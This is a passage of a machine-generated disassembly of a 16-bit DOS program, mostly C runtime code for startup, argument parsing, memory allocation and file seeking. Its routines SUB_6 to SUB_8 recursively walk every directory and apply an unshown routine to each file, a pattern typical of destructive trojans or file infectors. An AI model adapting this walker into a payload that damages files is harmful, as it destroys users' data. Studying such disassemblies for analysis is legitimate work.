;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_4 PROC NEAR
PUSH DS
MOV AX,2500H
LDS DX,DWORD PTR DS:DATA_1E ; (0000:0074=0F0A4H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2504H
LDS DX,DWORD PTR DS:DATA_2E ; (0000:0078=522H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2505H
LDS DX,DWORD PTR DS:DATA_3E ; (0000:007C=0) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2506H
LDS DX,DWORD PTR DS:DATA_4E ; (0000:0080=16F5H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
RETN
SUB_4 ENDP

DB 0C7H, 6, 96H, 0, 0, 0
DB 0CBH, 0C3H

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_5 PROC NEAR
MOV AH,40H ; '@'
MOV BX,2
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
RETN
SUB_5 ENDP

LOC_10:
MOV CX,1EH
NOP
MOV DX,56H
LOC_11:
MOV DS,CS:DATA_38 ; (7FD4:01F8=0)
CALL SUB_5 ; (01DA)
MOV AX,3
PUSH AX
CALL SUB_2 ; (0121)
DATA_38 DW 0

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_6 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,194H
PUSH AX
CALL SUB_8 ; (0290)
POP CX
MOV AX,194H
PUSH AX
CALL SUB_7 ; (0212)
POP CX
CALL SUB_9 ; (02F5)
POP BP
RETN
SUB_6 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_7 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,0AEH
PUSH SI
PUSH DI
MOV DI,[BP+4]
PUSH DI
CALL SUB_8 ; (0290)
POP CX
MOV AX,19BH
PUSH AX
PUSH DI
MOV AX,195H
PUSH AX
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_51 ; (1571)
ADD SP,8
MOV AX,10H
PUSH AX
LEA AX,[BP-0AEH] ; Load effective addr
PUSH AX
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_49 ; (150B)
ADD SP,6
MOV SI,AX
JMP SHORT LOC_14 ; (0286)
LOC_12:
CMP BYTE PTR SS:DATA_124E[BP],2EH ; (8134:FF70=0) '.'
JE LOC_13 ; Jump if equal
TEST BYTE PTR SS:DATA_123E[BP],10H ; (8134:FF67=0)
JZ LOC_13 ; Jump if zero
LEA AX,[BP-90H] ; Load effective addr
PUSH AX
PUSH DI
MOV AX,195H
PUSH AX
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_51 ; (1571)
ADD SP,8
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_7 ; (0212)
POP CX
LOC_13:
LEA AX,[BP-0AEH] ; Load effective addr
PUSH AX
CALL SUB_50 ; (152D)
POP CX
MOV SI,AX
LOC_14:
OR SI,SI ; Zero ?
JZ LOC_12 ; Jump if zero
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_7 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_8 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,7EH
PUSH SI
PUSH WORD PTR [BP+4]
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_33 ; (0B88)
POP CX
POP CX
MOV AX,19FH
PUSH AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_32 ; (0B4C)
POP CX
POP CX
XOR AX,AX ; Zero register
PUSH AX
LEA AX,[BP-7EH] ; Load effective addr
PUSH AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_49 ; (150B)
ADD SP,6
MOV SI,AX
JMP SHORT LOC_16 ; (02EC)
LOC_15:
LEA AX,[BP-60H] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+4]
MOV AX,195H
PUSH AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_51 ; (1571)
ADD SP,8
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_31 ; (0B34)
POP CX
LEA AX,[BP-7EH] ; Load effective addr
PUSH AX
CALL SUB_50 ; (152D)
POP CX
MOV SI,AX
LOC_16:
OR SI,SI ; Zero ?
JZ LOC_15 ; Jump if zero
POP SI
MOV SP,BP
POP BP
RETN
SUB_8 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_9 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,4
MOV AX,1A4H
PUSH AX
PUSH WORD PTR [BP-2]
CALL SUB_48 ; (14F3)
POP CX
POP CX
PUSH WORD PTR [BP-4]
XOR AX,AX ; Zero register
PUSH AX
MOV AX,0CH
PUSH AX
MOV AX,2
PUSH AX
CALL SUB_52 ; (15D4)
ADD SP,8
MOV SP,BP
POP BP
RETN
SUB_9 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_10 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
OR SI,SI ; Zero ?
JL LOC_19 ; Jump if <
CMP SI,58H
JBE LOC_18 ; Jump if below or =
LOC_17:
MOV SI,57H
LOC_18:
MOV DS:DATA_29E,SI ; (7FC4:01D6=0CD57H)
MOV AL,DS:DATA_30E[SI] ; (7FC4:01D8=21H)
CBW ; Convrt byte to word
XCHG AX,SI
JMP SHORT LOC_20 ; (034B)
LOC_19:
NEG SI
CMP SI,23H
JA LOC_17 ; Jump if above
MOV WORD PTR DS:DATA_29E,0FFFFH ; (7FC4:01D6=0CD57H)
LOC_20:
MOV AX,SI
MOV DS:DATA_27E,AX ; (7FC4:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_21 ; (0355)
LOC_21:
POP SI
POP BP
RETN 2
SUB_10 ENDP

DB 0C3H

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_11 PROC NEAR
PUSH BP
MOV BP,SP
JMP SHORT LOC_23 ; (036A)
LOC_22:
MOV BX,WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
SHL BX,1 ; Shift w/zeros fill
CALL WORD PTR DS:[464H][BX] ;*(7FC4:0464=0E3D1H)
LOC_23:
MOV AX,WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
DEC WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
OR AX,AX ; Zero ?
JNZ LOC_22 ; Jump if not zero
CALL WORD PTR DS:DATA_31E ; (7FC4:0232=2FB9H)
CALL WORD PTR DS:[234H] ; (7FC4:0234=9000H)
CALL WORD PTR DS:[236H] ; (7FC4:0236=2FCH)
PUSH WORD PTR [BP+4]
CALL SUB_2 ; (0121)
POP CX
POP BP
RETN
SUB_11 ENDP

DATA_39 DW 0
DATA_40 DW 0
DB 0, 0

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_12 PROC NEAR
POP CS:DATA_39 ; (7FD4:038A=0)
MOV CS:DATA_40,DS ; (7FD4:038C=0)
CLD ; Clear direction
MOV ES,DATA_76 ; (8134:0090=0)
MOV SI,80H
XOR AH,AH ; Zero register
LODS BYTE PTR ES:[SI] ; String [si] to al
INC AX
MOV BP,ES
XCHG DX,SI
XCHG AX,BX
MOV SI,WORD PTR DATA_73 ; (8134:008A=0)
ADD SI,2
MOV CX,1
CMP BYTE PTR DATA_77,3 ; (8134:0092=0)
JB LOC_24 ; Jump if below
MOV ES,WORD PTR DATA_73+2 ; (8134:008C=0)
MOV DI,SI
MOV CL,7FH
XOR AL,AL ; Zero register
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
JCXZ LOC_32 ; Jump if cx=0
XOR CL,7FH
LOC_24:
SUB SP,2
MOV AX,1
ADD AX,BX
ADD AX,CX
AND AX,0FFFEH
MOV DI,SP
SUB DI,AX
JC LOC_32 ; Jump if carry Set
MOV SP,DI
MOV AX,ES
MOV DS,AX
MOV AX,SS
MOV ES,AX
PUSH CX
DEC CX
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
XOR AL,AL ; Zero register
STOSB ; Store al to es:[di]
MOV DS,BP
XCHG SI,DX
XCHG BX,CX
MOV AX,BX
MOV DX,AX
INC BX
LOC_25:
CALL SUB_13 ; (0419)
JA LOC_27 ; Jump if above
LOC_26:
JC LOC_33 ; Jump if carry Set
CALL SUB_13 ; (0419)
JA LOC_26 ; Jump if above
LOC_27:
CMP AL,20H ; ' '
JE LOC_28 ; Jump if equal
CMP AL,0DH
JE LOC_28 ; Jump if equal
CMP AL,9
JNE LOC_25 ; Jump if not equal
LOC_28:
XOR AL,AL ; Zero register
JMP SHORT LOC_25 ; (03FD)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

SUB_13:
OR AX,AX ; Zero ?
JZ LOC_29 ; Jump if zero
INC DX
STOSB ; Store al to es:[di]
OR AL,AL ; Zero ?
JNZ LOC_29 ; Jump if not zero
INC BX
LOC_29:
XCHG AH,AL
XOR AL,AL ; Zero register
STC ; Set carry flag
JCXZ LOC_RET_31 ; Jump if cx=0
LODSB ; String [si] to al
DEC CX
SUB AL,22H ; '"'
JZ LOC_RET_31 ; Jump if zero
ADD AL,22H ; '"'
CMP AL,5CH ; '\'
JNE LOC_30 ; Jump if not equal
CMP BYTE PTR [SI],22H ; '"'
JNE LOC_30 ; Jump if not equal
LODSB ; String [si] to al
DEC CX
LOC_30:
OR SI,SI ; Zero ?

LOC_RET_31:
RETN
LOC_32:
JMP LOC_10 ; (01E2)
LOC_33:
POP CX
ADD CX,DX
MOV DS,CS:DATA_40 ; (7FD4:038C=0)
MOV DS:DATA_5E,BX ; (0000:0084=9CEH)
INC BX
ADD BX,BX
MOV SI,SP
MOV BP,SP
SUB BP,BX
JC LOC_32 ; Jump if carry Set
MOV SP,BP
MOV DS:DATA_6E,BP ; (0000:0086=13C7H)
LOC_34:
JCXZ LOC_36 ; Jump if cx=0
MOV [BP],SI
ADD BP,2

LOCLOOP_35:
LODS BYTE PTR SS:[SI] ; String [si] to al
OR AL,AL ; Zero ?
LOOPNZ LOCLOOP_35 ; Loop if zf=0, cx>0

JZ LOC_34 ; Jump if zero
LOC_36:
XOR AX,AX ; Zero register
MOV [BP],AX
JMP CS:DATA_39 ; (7FD4:038A=0)
SUB_12 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_14 PROC NEAR
MOV CX,DS:DATA_8E ; (0000:008A=23EAH)
PUSH CX
CALL SUB_19 ; (05CA)
POP CX
MOV DI,AX
OR AX,AX ; Zero ?
JZ LOC_37 ; Jump if zero
PUSH DS
PUSH DS
POP ES
MOV DS,DS:DATA_9E ; (0000:008C=0A70H)
XOR SI,SI ; Zero register
CLD ; Clear direction
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POP DS
MOV DI,AX
PUSH ES
PUSH WORD PTR DS:DATA_10E ; (0000:008E=23EAH)
CALL SUB_19 ; (05CA)
ADD SP,2
MOV BX,AX
POP ES
MOV DS:DATA_7E,AX ; (0000:0088=723H)
OR AX,AX ; Zero ?
JNZ LOC_38 ; Jump if not zero
LOC_37:
JMP LOC_10 ; (01E2)
LOC_38:
XOR AX,AX ; Zero register
MOV CX,0FFFFH
LOC_39:
MOV [BX],DI
ADD BX,2
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP ES:[DI],AL
JNE LOC_39 ; Jump if not equal
MOV [BX],AX
RETN
SUB_14 ENDP

DB 55H, 8BH, 0ECH, 83H, 3EH, 3CH
DB 2, 20H, 75H, 5, 0B8H, 1
DB 0, 0EBH, 15H, 8BH, 46H, 4
DB 8BH, 1EH, 3CH, 2, 0D1H, 0E3H
DB 89H, 87H, 64H, 4, 0FFH, 6
DB 3CH, 2, 33H, 0C0H, 0EBH, 0
LOC_40:
POP BP
RETN

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_15 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
MOV AX,[DI+6]
MOV DS:DATA_23E,AX ; (0000:04A6=0)
CMP AX,DI
JNE LOC_41 ; Jump if not equal
MOV WORD PTR DS:DATA_23E,0 ; (0000:04A6=0)
JMP SHORT LOC_42 ; (0515)
LOC_41:
MOV SI,[DI+4]
MOV BX,DS:DATA_23E ; (0000:04A6=0)
MOV [BX+4],SI
MOV AX,DS:DATA_23E ; (0000:04A6=0)
MOV [SI+6],AX
LOC_42:
POP DI
POP SI
POP BP
RETN
SUB_15 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_16 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
MOV AX,[BP+6]
SUB [DI],AX
MOV SI,[DI]
ADD SI,DI
MOV AX,[BP+6]
INC AX
MOV [SI],AX
MOV [SI+2],DI
MOV AX,DS:DATA_22E ; (0000:04A4=0)
CMP AX,DI
JNE LOC_43 ; Jump if not equal
MOV DS:DATA_22E,SI ; (0000:04A4=0)
JMP SHORT LOC_44 ; (0548)
LOC_43:
MOV DI,SI
ADD DI,[BP+6]
MOV [DI+2],SI
LOC_44:
MOV AX,SI
ADD AX,4
JMP SHORT LOC_45 ; (054F)
LOC_45:
POP DI
POP SI
POP BP
RETN
SUB_16 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_17 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV AX,[BP+4]
XOR DX,DX ; Zero register
AND AX,0FFFFH
AND DX,0
nop ;*Fixup for MASM (M)
PUSH DX
PUSH AX
CALL SUB_21 ; (065C)
POP CX
POP CX
MOV SI,AX
CMP SI,0FFFFH
JNE LOC_46 ; Jump if not equal
XOR AX,AX ; Zero register
JMP SHORT LOC_47 ; (058D)
LOC_46:
MOV AX,DS:DATA_22E ; (0000:04A4=0)
MOV [SI+2],AX
MOV AX,[BP+4]
INC AX
MOV [SI],AX
MOV DS:DATA_22E,SI ; (0000:04A4=0)
MOV AX,DS:DATA_22E ; (0000:04A4=0)
ADD AX,4
JMP SHORT LOC_47 ; (058D)
LOC_47:
POP SI
POP BP
RETN
SUB_17 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_18 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV AX,[BP+4]
XOR DX,DX ; Zero register
AND AX,0FFFFH
AND DX,0
nop ;*Fixup for MASM (M)
PUSH DX
PUSH AX
CALL SUB_21 ; (065C)
POP CX
POP CX
MOV SI,AX
CMP SI,0FFFFH
JNE LOC_48 ; Jump if not equal
XOR AX,AX ; Zero register
JMP SHORT LOC_49 ; (05C7)
LOC_48:
MOV DS:DATA_24E,SI ; (0000:04A8=0)
MOV DS:DATA_22E,SI ; (0000:04A4=0)
MOV AX,[BP+4]
INC AX
MOV [SI],AX
MOV AX,SI
ADD AX,4
JMP SHORT LOC_49 ; (05C7)
LOC_49:
POP SI
POP BP
RETN
SUB_18 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_19 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
OR DI,DI ; Zero ?
JNZ LOC_50 ; Jump if not zero
XOR AX,AX ; Zero register
JMP SHORT LOC_56 ; (0634)
LOC_50:
MOV AX,DI
ADD AX,0BH
AND AX,0FFF8H
MOV DI,AX
CMP WORD PTR DS:DATA_24E,0 ; (0000:04A8=0)
JNE LOC_51 ; Jump if not equal
PUSH DI
CALL SUB_18 ; (0590)
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_51:
MOV SI,DS:DATA_23E ; (0000:04A6=0)
MOV AX,SI
OR AX,AX ; Zero ?
JZ LOC_55 ; Jump if zero
LOC_52:
MOV AX,[SI]
MOV DX,DI
ADD DX,28H
CMP AX,DX
JB LOC_53 ; Jump if below
PUSH DI
PUSH SI
CALL SUB_16 ; (0519)
POP CX
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_53:
MOV AX,[SI]
CMP AX,DI
JB LOC_54 ; Jump if below
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
INC WORD PTR [SI]
MOV AX,SI
ADD AX,4
JMP SHORT LOC_56 ; (0634)
LOC_54:
MOV SI,[SI+6]
CMP SI,DS:DATA_23E ; (0000:04A6=0)
JNE LOC_52 ; Jump if not equal
LOC_55:
PUSH DI
CALL SUB_17 ; (0553)
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_56:
POP DI
POP SI
POP BP
RETN
SUB_19 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_20 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,[BP+4]
MOV DX,SP
SUB DX,100H
CMP AX,DX
JAE LOC_57 ; Jump if above or =
MOV DS:DATA_28E,AX ; (7FC4:009E=0)
XOR AX,AX ; Zero register
JMP SHORT LOC_58 ; (065A)
LOC_57:
MOV WORD PTR DS:DATA_27E,8 ; (7FC4:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_58 ; (065A)
LOC_58:
POP BP
RETN
SUB_20 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_21 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,[BP+4]
MOV DX,[BP+6]
ADD AX,DS:DATA_14E ; (0000:009E=27DH)
ADC DX,0
MOV CX,AX
ADD CX,100H
ADC DX,0
OR DX,DX ; Zero ?
JNZ LOC_59 ; Jump if not zero
CMP CX,SP
JAE LOC_59 ; Jump if above or =
XCHG AX,DS:DATA_14E ; (0000:009E=27DH)
JMP SHORT LOC_60 ; (068E)
LOC_59:
MOV WORD PTR DS:DATA_11E,8 ; (0000:0094=192FH)
MOV AX,0FFFFH
JMP SHORT LOC_60 ; (068E)
LOC_60:
POP BP
RETN
SUB_21 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_22 PROC NEAR
PUSH BP
MOV BP,SP
PUSH WORD PTR [BP+4]
CALL SUB_20 ; (0638)
POP CX
JMP SHORT LOC_61 ; (069C)
LOC_61:
POP BP
RETN
SUB_22 ENDP

DB 55H, 8BH, 0ECH, 8BH, 46H, 4
DB 99H, 52H, 50H, 0E8H, 0B2H, 0FFH
DB 8BH, 0E5H, 0EBH, 0, 5DH, 0C3H

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_23 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV BX,[BP+4]
MOV SI,[BX]
MOV AX,SI
MOV [BP-2],AX
MOV BX,[BP+4]
TEST WORD PTR [BX+2],40H
JZ LOC_62 ; Jump if zero
MOV AX,SI
JMP SHORT LOC_65 ; (06EF)
LOC_62:
MOV BX,[BP+4]
MOV DI,[BX+0AH]
JMP SHORT LOC_64 ; (06E3)
LOC_63:
MOV BX,DI
INC DI
CMP BYTE PTR [BX],0AH
JNE LOC_64 ; Jump if not equal
INC WORD PTR [BP-2]
LOC_64:
MOV AX,SI
DEC SI
OR AX,AX ; Zero ?
JNZ LOC_63 ; Jump if not zero
MOV AX,[BP-2]
JMP SHORT LOC_65 ; (06EF)
LOC_65:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 2
SUB_23 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_24 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_66 ; Jump if zero
MOV AX,0FFFFH
JMP SHORT LOC_70 ; (0758)
LOC_66:
CMP WORD PTR [BP+0AH],1
JNE LOC_67 ; Jump if not equal
CMP WORD PTR [SI],0
JLE LOC_67 ; Jump if < or =
PUSH SI
CALL SUB_23 ; (06B0)
CWD ; Word to double word
SUB [BP+6],AX
SBB [BP+8],DX
LOC_67:
AND WORD PTR [SI+2],0FE5FH
MOV WORD PTR [SI],0
MOV AX,[SI+8]
MOV [SI+0AH],AX
PUSH WORD PTR [BP+0AH]
PUSH WORD PTR [BP+8]
PUSH WORD PTR [BP+6]
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_29 ; (0A1E)
ADD SP,8
CMP DX,0FFFFH
JNE LOC_68 ; Jump if not equal
CMP AX,0FFFFH
JNE LOC_68 ; Jump if not equal
MOV AX,0FFFFH
JMP SHORT LOC_69 ; (0756)
LOC_68:
XOR AX,AX ; Zero register
LOC_69:
JMP SHORT LOC_70 ; (0758)
LOC_70:
POP SI
POP BP
RETN
SUB_24 ENDP

DB 55H, 8BH, 0ECH, 83H, 0ECH, 4
DB 56H, 8BH, 76H, 4, 56H, 0E8H
DB 85H, 4, 59H, 0BH, 0C0H, 74H
DB 8, 0BAH, 0FFH, 0FFH, 0B8H, 0FFH
DB 0FFH, 0EBH, 3FH, 0B8H, 1, 0
DB 50H, 33H, 0C0H, 50H, 50H, 8AH
DB 44H, 4, 98H, 50H, 0E8H, 98H
DB 2, 83H, 0C4H, 8, 89H, 56H
DB 0FEH, 89H, 46H, 0FCH, 83H, 3CH
